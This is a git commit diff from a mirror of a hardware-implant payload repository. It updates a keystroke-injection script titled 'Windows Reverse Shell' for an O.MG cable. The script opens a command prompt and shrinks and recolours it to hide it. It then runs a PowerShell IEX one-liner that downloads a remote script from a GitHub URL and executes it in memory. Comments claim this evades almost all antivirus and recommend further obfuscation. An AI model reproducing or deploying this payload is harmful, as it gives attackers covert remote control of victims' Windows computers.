mirror of https://github.com/hak5/omg-payloads.git
Updated the payload
Hey! I updated the payload with the suggestions, optimized the code and used the ALT SPACE DOWN to minimize (The ALT SPACE M didnt work here in my Windows 10 machine, but this way works very well).pull/3/head
parent
9120061d11
commit
0d4852700b
|
@ -1,36 +1,26 @@
|
|||
REM #############################################################################################################
|
||||
REM # This script is designed to get a reverse shell in Windows enviroments #
|
||||
REM # Title: Windows Reverse Shell #
|
||||
REM # Description: This script is designed to get a reverse shell in Windows enviroments #
|
||||
REM # with a one liner powershell command, this bypasses almost all antivirus out there and executes in memory. #
|
||||
REM # To use it, just clone the reverse shell, change the IP, load it into the OMG cable and wait for nc. #
|
||||
REM # You can even ofuscate the powershell with Invoke-Obfuscation and pyfuscation to make it even more #
|
||||
REM # undetectable. #
|
||||
REM # Script made by Hug1nn_ #
|
||||
REM # Author: Hug1n #
|
||||
REM #############################################################################################################
|
||||
|
||||
REM @@ Opening the CMD
|
||||
GUI r
|
||||
DELAY 500
|
||||
REM @@ Opening CMD
|
||||
STRING cmd.exe
|
||||
ENTER
|
||||
DELAY 200
|
||||
REM @@ Minimizing the CMD to ofuscate it
|
||||
STRING mode con:cols=18 lines=1
|
||||
ENTER
|
||||
REM @@ Changing the color, risizing the CMD and executing the reverse shell in memory
|
||||
STRING cmd /C color FE&mode con:cols=18 lines=1&powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/Hug1n/reverse_shells/main/minrev.ps1')"
|
||||
DELAY 200
|
||||
REM @@ Chaging the color
|
||||
STRING color FE
|
||||
ENTER
|
||||
DELAY 200
|
||||
REM @@ Executing the shell in memory
|
||||
STRING powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/Hug1n/reverse_shells/main/minrev.ps1')"
|
||||
ENTER
|
||||
DELAY 200
|
||||
REM @@ Minimizing
|
||||
REM @@ Minimizing the CMD
|
||||
ALT SPACE
|
||||
DOWNARROW
|
||||
DELAY 200
|
||||
DOWNARROW
|
||||
DELAY 200
|
||||
DOWNARROW
|
||||
DELAY 200
|
||||
DOWN
|
||||
DOWN
|
||||
DOWN
|
||||
ENTER
|
||||
|
|
Loading…
Reference in New Issue